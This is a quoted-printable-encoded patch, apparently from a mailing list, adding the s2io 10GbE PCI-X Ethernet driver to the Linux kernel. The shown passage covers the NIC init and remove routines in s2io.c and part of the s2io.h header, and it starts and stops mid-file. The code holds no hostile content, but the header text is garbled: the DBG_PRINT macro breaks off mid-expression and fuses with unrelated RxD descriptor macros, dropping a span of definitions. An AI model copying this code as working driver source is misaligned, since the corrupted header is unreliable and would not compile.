"1-" __MODULE_STRING(8) "i");=0A= +MODULE_PARM(ring_len, "1-" __MODULE_STRING(8) "i");=0A= +MODULE_PARM(fifo_num, "1-" __MODULE_STRING(1) "i");=0A= +MODULE_PARM(fifo_len, "1-" __MODULE_STRING(8) "i");=0A= +MODULE_PARM(rx_prio, "1-" __MODULE_STRING(1) "i");=0A= +MODULE_PARM(tx_prio, "1-" __MODULE_STRING(1) "i");=0A= +MODULE_PARM(latency_timer, "1-" __MODULE_STRING(1) "i");=0A= +=0A= +/*=0A= +* Input Argument/s: =0A= +* pdev - structure containing the PCI related information of the = device.=0A= +* pre - the List of PCI devices supported by the driver listed in = s2io_tbl.=0A= +* Return value:=0A= +* returns '0'(SUCCESS) on success and negative on failure.=0A= +* Description:=0A= +* The function initializes an adapter identified by the pci_dec = structure.=0A= +* All OS related initialization including memory and device structure = and =0A= +* initlaization of the device private variable is done. Also the = swapper =0A= +* control register is initialized to enable read and write into the = I/O =0A= +* registers of the device.=0A= +* =0A= +*/=0A= +static int __devinit=0A= +s2io_init_nic(struct pci_dev *pdev, const struct pci_device_id *pre)=0A= +{=0A= + nic_t *sp;=0A= + struct net_device *dev;=0A= + char *dev_name =3D "S2IO 10GE NIC";=0A= + int i, j, ret;=0A= + int dma_flag =3D FALSE;=0A= + u32 mac_up, mac_down;=0A= + u64 val64 =3D 0, tmp64 =3D 0;=0A= + XENA_dev_config_t *bar0 =3D NULL;=0A= + u16 subid;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= +=0A= + if ((ret =3D pci_enable_device(pdev))) {=0A= + DBG_PRINT(ERR_DBG,=0A= + "s2io_init_nic: pci_enable_device failed\n");=0A= + return ret;=0A= + }=0A= +=0A= + if (!pci_set_dma_mask(pdev, 0xffffffffffffffffULL)) {=0A= + DBG_PRINT(INIT_DBG, "s2io_init_nic: Using 64bit DMA\n");=0A= + dma_flag =3D TRUE;=0A= +=0A= +#if LINUX_VERSION_CODE >=3D KERNEL_VERSION(2,6,00)=0A= + if (pci_set_consistent_dma_mask=0A= + (pdev, 0xffffffffffffffffULL)) {=0A= + DBG_PRINT(ERR_DBG,=0A= + "Unable to obtain 64bit DMA for \=0A= + consistent allocations\n");=0A= + pci_disable_device(pdev);=0A= + return -ENOMEM;=0A= + }=0A= +#endif=0A= + } else if (!pci_set_dma_mask(pdev, 0xffffffffUL)) {=0A= + DBG_PRINT(INIT_DBG, "s2io_init_nic: Using 32bit DMA\n");=0A= + } else {=0A= + pci_disable_device(pdev);=0A= + return -ENOMEM;=0A= + }=0A= +=0A= + if (pci_request_regions(pdev, s2io_driver_name)) {=0A= + DBG_PRINT(ERR_DBG, "Request Regions failed\n"),=0A= + pci_disable_device(pdev);=0A= + return -ENODEV;=0A= + }=0A= +=0A= + dev =3D alloc_etherdev(sizeof(nic_t));=0A= + if (dev =3D=3D NULL) {=0A= + DBG_PRINT(ERR_DBG, "Device allocation failed\n");=0A= + pci_disable_device(pdev);=0A= + pci_release_regions(pdev);=0A= + return -ENODEV;=0A= + }=0A= +=0A= + pci_set_master(pdev);=0A= + pci_set_drvdata(pdev, dev);=0A= + SET_MODULE_OWNER(dev);=0A= + SET_NETDEV_DEV(dev, &pdev->dev);=0A= +=0A= +/* Private member variable initialized to s2io NIC structure */=0A= + sp =3D (nic_t *) dev->priv;=0A= + memset(sp, 0, sizeof(nic_t));=0A= + sp->dev =3D dev;=0A= + sp->pdev =3D pdev;=0A= + sp->vendor_id =3D pdev->vendor;=0A= + sp->device_id =3D pdev->device;=0A= + sp->high_dma_flag =3D dma_flag;=0A= + sp->irq =3D pdev->irq;=0A= + sp->device_enabled_once =3D FALSE;=0A= + strcpy(sp->name, dev_name);=0A= +=0A= +/* Initialize some PCI/PCI-X fields of the NIC. */=0A= + s2io_init_pci(sp);=0A= +=0A= +/* Setting the device configuration parameters.=0A= + * Most of these parameters can be specified by the user during module =0A= + * insertion as they are module loadable parameters. If these =0A= + * parameters are not not specified during load time, they are = initalized=0A= + * with default values.=0A= + */=0A= + mac_control =3D &sp->mac_control;=0A= + config =3D &sp->config;=0A= +=0A= + /* Tx side parameters. */=0A= + config->TxFIFONum =3D fifo_num ? fifo_num : 1;=0A= +=0A= + if (!fifo_len[0] && (fifo_num > 1)) {=0A= + printk(KERN_ERR "Fifo Lens not specified for all FIFOs\n");=0A= + goto init_failed;=0A= + }=0A= +=0A= + if (fifo_len[0]) {=0A= + int cnt;=0A= +=0A= + for (cnt =3D 0; fifo_len[cnt]; cnt++);=0A= + if (fifo_num) {=0A= + if (cnt < fifo_num) {=0A= + printk(KERN_ERR=0A= + "Fifo Lens not specified for ");=0A= + printk(KERN_ERR "all FIFOs\n");=0A= + goto init_failed;=0A= + }=0A= + }=0A= + for (cnt =3D 0; cnt < config->TxFIFONum; cnt++) {=0A= + config->TxCfg[cnt].FifoLen =3D fifo_len[cnt];=0A= + config->TxCfg[cnt].FifoPriority =3D cnt;=0A= + }=0A= + } else {=0A= + config->TxCfg[0].FifoLen =3D DEFAULT_FIFO_LEN;=0A= + config->TxCfg[0].FifoPriority =3D 0;=0A= + }=0A= +=0A= + config->TxIntrType =3D TXD_INT_TYPE_UTILZ;=0A= + for (i =3D 0; i < config->TxFIFONum; i++) {=0A= + if (config->TxCfg[i].FifoLen < 64) {=0A= + config->TxIntrType =3D TXD_INT_TYPE_PER_LIST;=0A= + break;=0A= + }=0A= + }=0A= +=0A= + config->TxCfg[0].fNoSnoop =3D (NO_SNOOP_TXD | NO_SNOOP_TXD_BUFFER);=0A= + config->MaxTxDs =3D MAX_SKB_FRAGS;=0A= + config->TxFlow =3D TRUE;=0A= +=0A= + /* Rx side parameters. */=0A= + config->RxRingNum =3D ring_num ? ring_num : 1;=0A= +=0A= + if (ring_len[0]) {=0A= + int cnt;=0A= + for (cnt =3D 0; cnt < config->RxRingNum; cnt++) {=0A= + config->RxCfg[cnt].NumRxd =3D ring_len[cnt];=0A= + config->RxCfg[cnt].RingPriority =3D cnt;=0A= + }=0A= + } else {=0A= + int id;=0A= + if ((id =3D get_xena_rev_id(pdev)) =3D=3D 1) {=0A= + config->RxCfg[0].NumRxd =3D LARGE_RXD_CNT;=0A= +=0A= + } else {=0A= + config->RxCfg[0].NumRxd =3D SMALL_RXD_CNT;=0A= + }=0A= + config->RxCfg[0].RingPriority =3D 0;=0A= + }=0A= + config->RxCfg[0].RingOrg =3D RING_ORG_BUFF1;=0A= + config->RxCfg[0].RxdThresh =3D DEFAULT_RXD_THRESHOLD;=0A= + config->RxCfg[0].fNoSnoop =3D (NO_SNOOP_RXD | NO_SNOOP_RXD_BUFFER);=0A= + config->RxCfg[0].RxD_BackOff_Interval =3D TBD;=0A= + config->RxFlow =3D TRUE;=0A= +=0A= +/* Miscellaneous parameters.*/=0A= + config->RxVLANEnable =3D TRUE;=0A= + config->MTU =3D MAX_MTU_VLAN;=0A= + config->JumboEnable =3D FALSE;=0A= +=0A= +/* Setting Mac Control parameters */=0A= + mac_control->txdl_len =3D MAX_SKB_FRAGS;=0A= + mac_control->rmac_pause_time =3D 0;=0A= +=0A= +/* Initialize Ring buffer parameters. */=0A= + for (i =3D 0; i < config->RxRingNum; i++)=0A= + atomic_set(&sp->rx_bufs_left[i], 0);=0A= +=0A= +/* initialize the shared memory used by the NIC and the host */=0A= + if (initSharedMem(sp)) {=0A= + DBG_PRINT(ERR_DBG, "%s: Memory allocation failed\n",=0A= + dev->name);=0A= + goto mem_alloc_failed;=0A= + }=0A= +=0A= + sp->bar0 =3D (caddr_t) ioremap(pci_resource_start(pdev, 0),=0A= + pci_resource_len(pdev, 0));=0A= + if (!sp->bar0) {=0A= + DBG_PRINT(ERR_DBG, "%s: S2IO: cannot remap io mem1\n",=0A= + dev->name);=0A= + goto bar0_remap_failed;=0A= + }=0A= +=0A= + sp->bar1 =3D (caddr_t) ioremap(pci_resource_start(pdev, 2),=0A= + pci_resource_len(pdev, 2));=0A= + if (!sp->bar1) {=0A= + DBG_PRINT(ERR_DBG, "%s: S2IO: cannot remap io mem2\n",=0A= + dev->name);=0A= + goto bar1_remap_failed;=0A= + }=0A= +=0A= + dev->irq =3D pdev->irq;=0A= + dev->base_addr =3D (unsigned long) sp->bar0;=0A= + sp =3D (nic_t *) dev->priv;=0A= +=0A= +/* Initializing the BAR1 address as the start of the FIFO pointer. */=0A= + for (j =3D 0; j < MAX_TX_FIFOS; j++) {=0A= + mac_control->tx_FIFO_start[j] =3D (TxFIFO_element_t *)=0A= + (sp->bar1 + (j * 0x00020000));=0A= + }=0A= +=0A= +/* Driver entry points */=0A= + dev->open =3D &s2io_open;=0A= + dev->stop =3D &s2io_close;=0A= + dev->hard_start_xmit =3D &s2io_xmit;=0A= + dev->get_stats =3D &s2io_get_stats;=0A= + dev->set_multicast_list =3D &s2io_set_multicast;=0A= + dev->do_ioctl =3D &s2io_ioctl;=0A= + dev->change_mtu =3D &s2io_change_mtu;=0A= +#ifdef SET_ETHTOOL_OPS=0A= + SET_ETHTOOL_OPS(dev, &netdev_ethtool_ops);=0A= +#endif=0A= + /*=0A= + * will use eth_mac_addr() for dev->set_mac_address=0A= + * mac address will be set every time dev->open() is called=0A= + */=0A= +#ifdef CONFIG_S2IO_NAPI=0A= + dev->poll =3D s2io_poll;=0A= + dev->weight =3D 128; /* For now. */=0A= +#endif=0A= +=0A= + dev->features |=3D NETIF_F_SG | NETIF_F_HW_CSUM;=0A= + if (sp->high_dma_flag =3D=3D TRUE)=0A= + dev->features |=3D NETIF_F_HIGHDMA;=0A= +#ifdef NETIF_F_TSO=0A= + dev->features |=3D NETIF_F_TSO;=0A= +#endif=0A= +=0A= + dev->tx_timeout =3D &s2io_tx_watchdog;=0A= + dev->watchdog_timeo =3D WATCH_DOG_TIMEOUT;=0A= +=0A= + if (register_netdev(dev)) {=0A= + DBG_PRINT(ERR_DBG, "Device registration failed\n");=0A= + goto register_failed;=0A= + }=0A= +=0A= + pci_save_state(sp->pdev, sp->config_space);=0A= +=0A= +/* Setting swapper control on the NIC, for proper reset operation */=0A= + if (s2io_set_swapper(sp)) {=0A= + DBG_PRINT(ERR_DBG, "%s:swapper settings are wrong\n",=0A= + dev->name);=0A= + goto set_swap_failed;=0A= + }=0A= +=0A= +/* Fix for all "FFs" MAC address problems observed on Alpha platforms */=0A= + FixMacAddress(sp);=0A= + s2io_reset(sp);=0A= +=0A= +/* Setting swapper control on the NIC, so the MAC address can be read. = */=0A= + if (s2io_set_swapper(sp)) {=0A= + DBG_PRINT(ERR_DBG,=0A= + "%s: S2IO: swapper settings are wrong\n",=0A= + dev->name);=0A= + goto set_swap_failed;=0A= + }=0A= +=0A= +/* MAC address initialization.=0A= + * For now only one mac address will be read and used. */=0A= + bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + val64 =3D RMAC_ADDR_CMD_MEM_RD | RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= + RMAC_ADDR_CMD_MEM_OFFSET(0 + MAC_MAC_ADDR_START_OFFSET);=0A= + write64(&bar0->rmac_addr_cmd_mem, val64);=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ/2); =0A= + tmp64 =3D read64(&bar0->rmac_addr_data0_mem);=0A= +=0A= + mac_down =3D (u32) tmp64;=0A= + mac_up =3D (u32) (tmp64 >> 32);=0A= +=0A= + memset(sp->defMacAddr[0].mac_addr, 0, sizeof(ETH_ALEN));=0A= +=0A= + sp->defMacAddr[0].mac_addr[3] =3D (u8) (mac_up);=0A= + sp->defMacAddr[0].mac_addr[2] =3D (u8) (mac_up >> 8);=0A= + sp->defMacAddr[0].mac_addr[1] =3D (u8) (mac_up >> 16);=0A= + sp->defMacAddr[0].mac_addr[0] =3D (u8) (mac_up >> 24);=0A= + sp->defMacAddr[0].mac_addr[5] =3D (u8) (mac_down >> 16);=0A= + sp->defMacAddr[0].mac_addr[4] =3D (u8) (mac_down >> 24);=0A= +=0A= + DBG_PRINT(INIT_DBG,=0A= + "DEFAULT MAC ADDR:0x%02x-%02x-%02x-%02x-%02x-%02x\n",=0A= + sp->defMacAddr[0].mac_addr[0],=0A= + sp->defMacAddr[0].mac_addr[1],=0A= + sp->defMacAddr[0].mac_addr[2],=0A= + sp->defMacAddr[0].mac_addr[3],=0A= + sp->defMacAddr[0].mac_addr[4],=0A= + sp->defMacAddr[0].mac_addr[5]);=0A= +=0A= +/* Set the factory defined MAC address initially */=0A= + dev->addr_len =3D ETH_ALEN;=0A= + memcpy(dev->dev_addr, sp->defMacAddr, ETH_ALEN);=0A= +=0A= +/* Initialize the tasklet status flag and rst_timer flag*/=0A= + atomic_set(&(sp->tasklet_status), 0);=0A= + atomic_set(&(sp->rst_status), 0);=0A= +=0A= +=0A= +/* Initialize spinlocks */=0A= + spin_lock_init(&sp->isr_lock);=0A= + spin_lock_init(&sp->tx_lock);=0A= +=0A= + /* SXE-002: Configure link and activity LED to init state =0A= + * on driver load. =0A= + */=0A= + subid =3D sp->pdev->subsystem_device;=0A= + if ((subid & 0xFF) >=3D 0x07) {=0A= + val64 =3D read64(&bar0->gpio_control);=0A= + val64 |=3D 0x0000800000000000ULL;=0A= + write64(&bar0->gpio_control, val64);=0A= + val64 =3D 0x0411040400000000ULL;=0A= + write64((u64 *) ((u8 *) bar0 + 0x2700), val64);=0A= + }=0A= +=0A= +/* Make Link state as off at this point, when the Link change interrupt = comes=0A= + * the state will be automatically changed to the right state.=0A= + */=0A= + netif_carrier_off(dev);=0A= +=0A= + return SUCCESS;=0A= +=0A= + set_swap_failed:=0A= + unregister_netdev(dev);=0A= + register_failed:=0A= + iounmap(sp->bar1);=0A= + bar1_remap_failed:=0A= + iounmap(sp->bar0);=0A= + bar0_remap_failed:=0A= + mem_alloc_failed:=0A= + freeSharedMem(sp);=0A= + init_failed:=0A= + pci_disable_device(pdev);=0A= + pci_release_regions(pdev);=0A= + pci_set_drvdata(pdev, NULL);=0A= + free_netdev(dev);=0A= +=0A= + return -ENODEV;=0A= +}=0A= +=0A= +/*=0A= +* Input Argument/s: =0A= +* pdev - structure containing the PCI related information of the = device.=0A= +* Return value:=0A= +* void=0A= +* Description:=0A= +* This function is called by the Pci subsystem to release a PCI device =0A= +* and free up all resource held up by the device. This could be in = response =0A= +* to a Hot plug event or when the driver is to be removed from memory.=0A= +*/=0A= +static void __exit s2io_rem_nic(struct pci_dev *pdev)=0A= +{=0A= + struct net_device *dev =3D=0A= + (struct net_device *) pci_get_drvdata(pdev);=0A= + nic_t *sp;=0A= +=0A= + if (dev =3D=3D NULL) {=0A= + DBG_PRINT(ERR_DBG, "Driver Data is NULL!!\n");=0A= + return;=0A= + }=0A= + sp =3D (nic_t *) dev->priv;=0A= + freeSharedMem(sp);=0A= + iounmap(sp->bar0);=0A= + iounmap(sp->bar1);=0A= + pci_disable_device(pdev);=0A= + pci_release_regions(pdev);=0A= + pci_set_drvdata(pdev, NULL);=0A= +=0A= + unregister_netdev(dev);=0A= +=0A= + free_netdev(dev);=0A= +}=0A= +=0A= +int s2io_starter(void)=0A= +{=0A= + return pci_module_init(&s2io_driver);=0A= +}=0A= +=0A= +void s2io_closer(void)=0A= +{=0A= + pci_unregister_driver(&s2io_driver);=0A= + DBG_PRINT(INIT_DBG, "cleanup done\n");=0A= +}=0A= +=0A= +module_init(s2io_starter);=0A= +module_exit(s2io_closer);=0A= +=0A= +/* To build the driver, =0A= +gcc -D__KERNEL__ -DMODULE -I/usr/src/linux-2.4/include -Wall = -Wstrict-prototypes -O2 -c s2io.c=0A= +*/=0A= diff -urN vanilla-linux/drivers/net/s2io/s2io.h = vanilla-linux-patch/drivers/net/s2io/s2io.h=0A= --- vanilla-linux/drivers/net/s2io/s2io.h 1970-01-01 05:30:00.000000000 = +0530=0A= +++ vanilla-linux-patch/drivers/net/s2io/s2io.h 2004-02-27 = 20:48:05.000000000 +0530=0A= @@ -0,0 +1,832 @@=0A= +/***********************************************************************= *=0A= + * s2io.h: A Linux PCI-X Ethernet driver for S2IO 10GbE Server NIC=0A= + * Copyright 2002 Raghavendra Koushik (raghavendra.koushik@s2io.com)=0A= +=0A= + * This software may be used and distributed according to the terms of=0A= + * the GNU General Public License (GPL), incorporated herein by = reference.=0A= + * Drivers based on or derived from this code fall under the GPL and = must=0A= + * retain the authorship, copyright and license notice. This file is = not=0A= + * a complete program and may only be used when the entire operating=0A= + * system is licensed under the GPL.=0A= + * See the file COPYING in this distribution for more information.=0A= + = ************************************************************************/=0A= +#ifndef _S2IO_H=0A= +#define _S2IO_H=0A= +=0A= +#define TBD 0=0A= +#define BIT(loc) (((u64)0x8000000000000000ULL) >> loc)=0A= +#define vBIT(val, loc, sz) (((u64)val) << (64-loc-sz))=0A= +=0A= +#ifndef ETH_ALEN=0A= +#define ETH_ALEN 6=0A= +#endif=0A= +=0A= +#ifndef BOOL=0A= +#define BOOL int=0A= +#endif=0A= +=0A= +#ifndef TRUE=0A= +#define TRUE 1=0A= +#define FALSE 0=0A= +#endif=0A= +=0A= +#undef SUCCESS=0A= +#define SUCCESS 0=0A= +#define FAILURE -1=0A= +=0A= +/* Maximum outstanding splits to be configured into xena. */=0A= +typedef enum xena_max_outstanding_splits {=0A= + XENA_ONE_SPLIT_TRANSACTION =3D 0,=0A= + XENA_TWO_SPLIT_TRANSACTION =3D 1,=0A= + XENA_THREE_SPLIT_TRANSACTION =3D 2,=0A= + XENA_FOUR_SPLIT_TRANSACTION =3D 3,=0A= + XENA_EIGHT_SPLIT_TRANSACTION =3D 4,=0A= + XENA_TWELVE_SPLIT_TRANSACTION =3D 5,=0A= + XENA_SIXTEEN_SPLIT_TRANSACTION =3D 6,=0A= + XENA_THIRTYTWO_SPLIT_TRANSACTION =3D 7=0A= +} xena_max_outstanding_splits;=0A= +#define XENA_MAX_OUTSTANDING_SPLITS(n) (n << 4)=0A= +=0A= +/* OS concerned variables and constants */=0A= +#define WATCH_DOG_TIMEOUT 5*HZ=0A= +#define EFILL 0x1234=0A= +#define ALIGN_SIZE 127=0A= +#define PCIX_COMMAND_REGISTER 0x62=0A= +=0A= +#ifndef SUPPORTED_10000baseT_Full=0A= +#define SUPPORTED_10000baseT_Full (1 << 12)=0A= +#endif=0A= +=0A= +/*=0A= + * Debug related variables.=0A= + */=0A= +#define DEBUG_ON TRUE=0A= +=0A= +/* different debug levels. */=0A= +#define ERR_DBG 0=0A= +#define INIT_DBG 1=0A= +#define INFO_DBG 2=0A= +#define TX_DBG 3=0A= +#define INTR_DBG 4=0A= +=0A= +/* Global variable that defines the present debug level of the driver. = */=0A= +int debug_level =3D ERR_DBG; /* Default level. */=0A= +=0A= +/* DEBUG message print. */=0A= +#define DBG_PRINT(dbg_level, args...) if(!(debug_level> 16) & 0xFFFF)=0A= +#define RXD_GET_L4_CKSUM(val) ((u16)(val) & 0xFFFF)=0A= +=0A= + u64 Control_2;=0A= +#define MASK_BUFFER0_SIZE vBIT(0xFFFF,0,16)=0A= +#define SET_BUFFER0_SIZE(val) vBIT(val,0,16)=0A= +#define MASK_VLAN_TAG vBIT(0xFFFF,48,16)=0A= +#define SET_VLAN_TAG(val) vBIT(val,48,16)=0A= +#define SET_NUM_TAG(val) vBIT(val,16,32)=0A= +=0A= +#define RXD_GET_BUFFER0_SIZE(Control_2) (u64)((Control_2 & = vBIT(0xFFFF,0,16)))=0A= +/* =0A= +#define TXD_GET_BUFFER1_SIZE(Control_2) (u16)((Control_2 & = MASK_BUFFER1_SIZE) >> (63-31)) =0A= +#define TXD_GET_BUFFER2_SIZE(Control_2) (u16)((Control_2 & = MASK_BUFFER2_SIZE) >> (63-47)) =0A= +*/=0A= + u64 Buffer0_ptr;=0A= +} RxD_t;=0A= +=0A= +=0A= +/* Structure that represents the Rx descriptor block which contains =0A= + * 128 Rx descriptors.=0A= + */=0A= +typedef struct _RxD_block {=0A= +#define MAX_RXDS_PER_BLOCK 127=0A= + RxD_t rxd[MAX_RXDS_PER_BLOCK];=0A= +=0A= + u64 reserved_0;=0A= +#define END_OF_BLOCK 0xFEFFFFFFFFFFFFFF=0A= + u64 reserved_1; /* 0xFEFFFFFFFFFFFFFF to mark last Rxd in this blk */=0A= + u64 reserved_2_pNext_RxD_block; /*@ Logical ptr to next */=0A= + u64 pNext_RxD_Blk_physical; /* Buff0_ptr.=0A= + In a 32 bit arch the upper 32 bits =0A= + should be 0 */=0A= +} RxD_block_t;=0A= +=0A= +/* Structure which stores all the MAC control parameters */=0A= +=0A= +/* This structure stores the offset of the RxD in the ring =0A= + * from which the Rx Interrupt processor can start picking =0A= + * up the RxDs for processing.=0A= + */=0A= +typedef struct _rx_curr_get_info_t {=0A= + u32 block_index;=0A= + u32 offset;=0A= + u32 ring_len;=0A= +} rx_curr_get_info_t;=0A= +=0A= +typedef rx_curr_get_info_t rx_curr_put_info_t;=0A= +=0A= +/* This structure stores the offset of the TxDl in the FIFO=0A= + * from which the Tx Interrupt processor can start picking =0A= + * up the TxDLs for send complete interrupt processing.=0A= + */=0A= +typedef struct {=0A= + u32 offset;=0A= + u32 fifo_len;=0A= +} tx_curr_get_info_t;=0A= +=0A= +typedef tx_curr_get_info_t tx_curr_put_info_t;=0A= +=0A= +/* Infomation related to the Tx and Rx FIFOs and Rings of Xena=0A= + * is maintained in this structure.=0A= + */=0A= +typedef struct mac_info {=0A= +/* rx side stuff */=0A= + u32 rxd_ring_mem_sz;=0A= + RxD_t *RxRing[MAX_RX_RINGS]; /* Logical Rx ring pointers */=0A= + dma_addr_t RxRing_Phy[MAX_RX_RINGS];=0A= +=0A= + /* Put pointer info which indictes which RxD has to be replenished =0A= + * with a new buffer.=0A= + */=0A= + rx_curr_put_info_t rx_curr_put_info[MAX_RX_RINGS];=0A= +=0A= + /* Get pointer info which indictes which is the last RxD that was =0A= + * processed by the driver.=0A= + */=0A= + rx_curr_get_info_t rx_curr_get_info[MAX_RX_RINGS];=0A= +=0A= + u16 rmac_pause_time;=0A= +=0A= + /* this will be used in receive function, this decides which ring would=0A= + be processed first. eg: ring with priority value 0 (highest) should=0A= + be processed first. =0A= + first 3 LSB bits represent ring number which should be processed =0A= + first, similarly next 3 bits represent next ring to be processed.=0A= + eg: value of _rx_ring_pri_map =3D 0x0000 003A means =0A= + ring #2 would be processed first and #7 would be processed next=0A= + */=0A= + u32 _rx_ring_pri_map;=0A= +=0A= +/* tx side stuff */=0A= + void *txd_list_mem; /* orignal pointer to allocated mem */=0A= + dma_addr_t txd_list_mem_phy;=0A= + u32 txd_list_mem_sz;=0A= +=0A= + /* logical pointer of start of each Tx FIFO */=0A= + TxFIFO_element_t *tx_FIFO_start[MAX_TX_FIFOS];=0A= +=0A= + /* logical pointer of start of TxDL which corresponds to each Tx FIFO = */=0A= + TxD_t *txdl_start[MAX_TX_FIFOS];=0A= +=0A= + /* Same as txdl_start but phy addr */=0A= + dma_addr_t txdl_start_phy[MAX_TX_FIFOS];=0A= +=0A= +/* Current offset within tx_FIFO_start, where driver would write new Tx = frame*/=0A= + tx_curr_put_info_t tx_curr_put_info[MAX_TX_FIFOS];=0A= + tx_curr_get_info_t tx_curr_get_info[MAX_TX_FIFOS];=0A= +=0A= + u16 txdl_len; /* length of a TxDL, same for all */=0A= +=0A= + void *stats_mem; /* orignal pointer to allocated mem */=0A= + dma_addr_t stats_mem_phy; /* Physical address of the stat block */=0A= + u32 stats_mem_sz;=0A= + StatInfo_t *StatsInfo; /* Logical address of the stat block */=0A= +} mac_info_t;=0A= +=0A= +/* structure representing the user defined MAC addresses */=0A= +typedef struct {=0A= + char addr[ETH_ALEN];=0A= + int usage_cnt;=0A= +} usr_addr_t;=0A= +=0A= +/* Structure that holds the Phy and virt addresses of the Blocks */=0A= +typedef struct rx_block_info {=0A= + RxD_t *block_virt_addr;=0A= + dma_addr_t block_dma_addr;=0A= +} rx_block_info_t;=0A= +=0A= +/* Structure representing one instance of the NIC */=0A= +typedef struct s2io_nic {=0A= +#define MAX_MAC_SUPPORTED 16=0A= +#define MAX_SUPPORTED_MULTICASTS MAX_MAC_SUPPORTED=0A= +=0A= + macaddr_t defMacAddr[MAX_MAC_SUPPORTED];=0A= + macaddr_t preMacAddr[MAX_MAC_SUPPORTED];=0A= +=0A= + struct net_device_stats stats;=0A= + caddr_t bar0;=0A= + caddr_t bar1;=0A= + struct config_param config;=0A= + mac_info_t mac_control;=0A= + int high_dma_flag;=0A= + int device_close_flag;=0A= + int device_enabled_once;=0A= +=0A= + char name[32];=0A= + struct tasklet_struct task;=0A= + atomic_t tasklet_status;=0A= + struct timer_list timer;=0A= + struct net_device *dev;=0A= + struct pci_dev *pdev;=0A= +=0A= + u16 vendor_id;=0A= + u16 device_id;=0A= + u16 ccmd;=0A= + u32 cbar0_1;=0A= + u32 cbar0_2;=0A= + u32 cbar1_1;=0A= + u32 cbar1_2;=0A= + u32 cirq;=0A= + u8 cache_line;=0A= + u32 rom_expansion;=0A= + u16 pcix_cmd;=0A= + u32 config_space[256 / sizeof(u32)];=0A= + u32 irq;=0A= + atomic_t rx_bufs_left[MAX_RX_RINGS];=0A= +=0A= + spinlock_t isr_lock;=0A= + spinlock_t tx_lock;=0A= +=0A= +#define PROMISC 1=0A= +#define ALL_MULTI 2=0A= +=0A= +#define MAX_ADDRS_SUPPORTED 64=0A= + u16 usr_addr_count;=0A= + u16 mc_addr_count;=0A= + usr_addr_t usr_addrs[MAX_ADDRS_SUPPORTED];=0A= +=0A= + u16 m_cast_flg;=0A= + u16 all_multi_pos;=0A= + u16 promisc_flg;=0A= +=0A= + u16 tx_pkt_count;=0A= + u16 rx_pkt_count;=0A= + u16 tx_err_count;=0A= + u16 rx_err_count;=0A= +=0A= +#if DEBUG_ON=0A= + u64 rxpkt_bytes;=0A= + u64 txpkt_bytes;=0A= + int int_cnt;=0A= + int rxint_cnt;=0A= + int txint_cnt;=0A= + u64 rxpkt_cnt;=0A= +#endif=0A= +=0A= +/* Place holders for the virtual and physical addresses of all the=0A= + * Rx Blocks */=0A= + struct rx_block_info=0A= + rx_blocks[MAX_RX_RINGS][MAX_RX_BLOCKS_PER_RING];=0A= + int block_count[MAX_RX_RINGS];=0A= + int pkt_cnt[MAX_RX_RINGS];=0A= +=0A= +/* Id timer, used to blink NIC to physically identify NIC. */=0A= + struct timer_list id_timer;=0A= +=0A= +/* Restart timer, used to restart NIC if the device is stuck. */=0A= + struct timer_list rst_timer;=0A= +=0A= +/* Atomic variable which tracks if the rst_timer has been scheduled=0A= + to run or not. */=0A= + atomic_t rst_status;=0A= +=0A= +/* after blink, the adapter must be restored with original values. */=0A= + u64 adapt_ctrl_org;=0A= +} nic_t; // __cacheline_aligned;=0A= +=0A= +#define RESET_ERROR 1;=0A= +#define CMD_ERROR 2;=0A= +=0A= +/* Default Tunable parameters of the NIC. */=0A= +#define DEFAULT_FIFO_LEN 4096=0A= +#define SMALL_RXD_CNT 10 * (MAX_RXDS_PER_BLOCK+1)=0A= +#define LARGE_RXD_CNT 100 * (MAX_RXDS_PER_BLOCK+1)=0A= +=0A= +/* OS related system calls */=0A= +=0A= +#ifndef readq=0A= +static inline u64 read64(void *addr)=0A= +{=0A= + u64 ret =3D 0;=0A= + ret =3D readl(addr + 4);=0A= + (u64) ret <<=3D 32;=0A= + (u64) ret |=3D readl(addr);=0A= +=0A= + return ret;=0A= +}=0A= +#else=0A= +static inline u64 read64(void *addr)=0A= +{=0A= + u64 ret =3D readq(addr);=0A= + return ret;=0A= +}=0A= +#endif=0A= +#define read32(addr, ret) ret =3D readl(addr);=0A= +#define read16(addr, ret) ret =3D readw(addr);=0A= +#define read8(addr, ret) ret =3D readb(addr);=0A= +=0A= +#ifndef writeq=0A= +static inline void write64(void *addr, u64 val)=0A= +{=0A= + writel((u32) (val), addr);=0A= + writel((u32) (val >> 32), (addr + 4));=0A= +}=0A= +#else=0A= +#define write64(addr, ret) writeq(ret,(void *)addr)=0A= +#endif=0A= +#define write32(addr, ret) writel(ret,(void *)addr);=0A= +#define write16(addr, ret) writew(ret,(void *)addr);=0A= +#define write8(addr, ret) writeb(ret,(void *)addr);=0A= +=0A= +/* Interrupt related values of Xena */=0A= +=0A= +#define ENABLE_INTRS 1=0A= +#define DISABLE_INTRS 2=0A= +=0A= +/* Highest level interrupt blocks */=0A= +#define TX_PIC_INTR (0x0001<<0)=0A= +#define TX_DMA_INTR (0x0001<<1)=0A= +#define TX_MAC_INTR (0x0001<<2)=0A= +#define TX_XGXS_INTR (0x0001<<3)=0A= +#define TX_TRAFFIC_INTR (0x0001<<4)=0A= +#define RX_PIC_INTR (0x0001<<5)=0A= +#define RX_DMA_INTR (0x0001<<6)=0A= +#define RX_MAC_INTR (0x0001<<7)=0A= +#define RX_XGXS_INTR (0x0001<<8)=0A= +#define RX_TRAFFIC_INTR (0x0001<<9)=0A= +#define MC_INTR (0x0001<<10)=0A= +#define ENA_ALL_INTRS ( TX_PIC_INTR | \=0A= + TX_DMA_INTR | \=0A= + TX_MAC_INTR | \=0A= + TX_XGXS_INTR | \=0A= + TX_TRAFFIC_INTR | \=0A= + RX_PIC_INTR | \=0A= + RX_DMA_INTR | \=0A= + RX_MAC_INTR | \=0A= + RX_XGXS_INTR | \=0A= + RX_TRAFFIC_INTR | \=0A= + MC_INTR )=0A= +=0A= +/* Interrupt masks for the general interrupt mask register */=0A= +#define DISABLE_ALL_INTRS 0xFFFFFFFFFFFFFFFFULL=0A= +=0A= +#define TXPIC_INT_M BIT(0)=0A= +#define TXDMA_INT_M BIT(1)=0A= +#define TXMAC_INT_M BIT(2)=0A= +#define TXXGXS_INT_M BIT(3)=0A= +#define TXTRAFFIC_INT_M BIT(8)=0A= +#define PIC_RX_INT_M BIT(32)=0A= +#define RXDMA_INT_M BIT(33)=0A= +#define 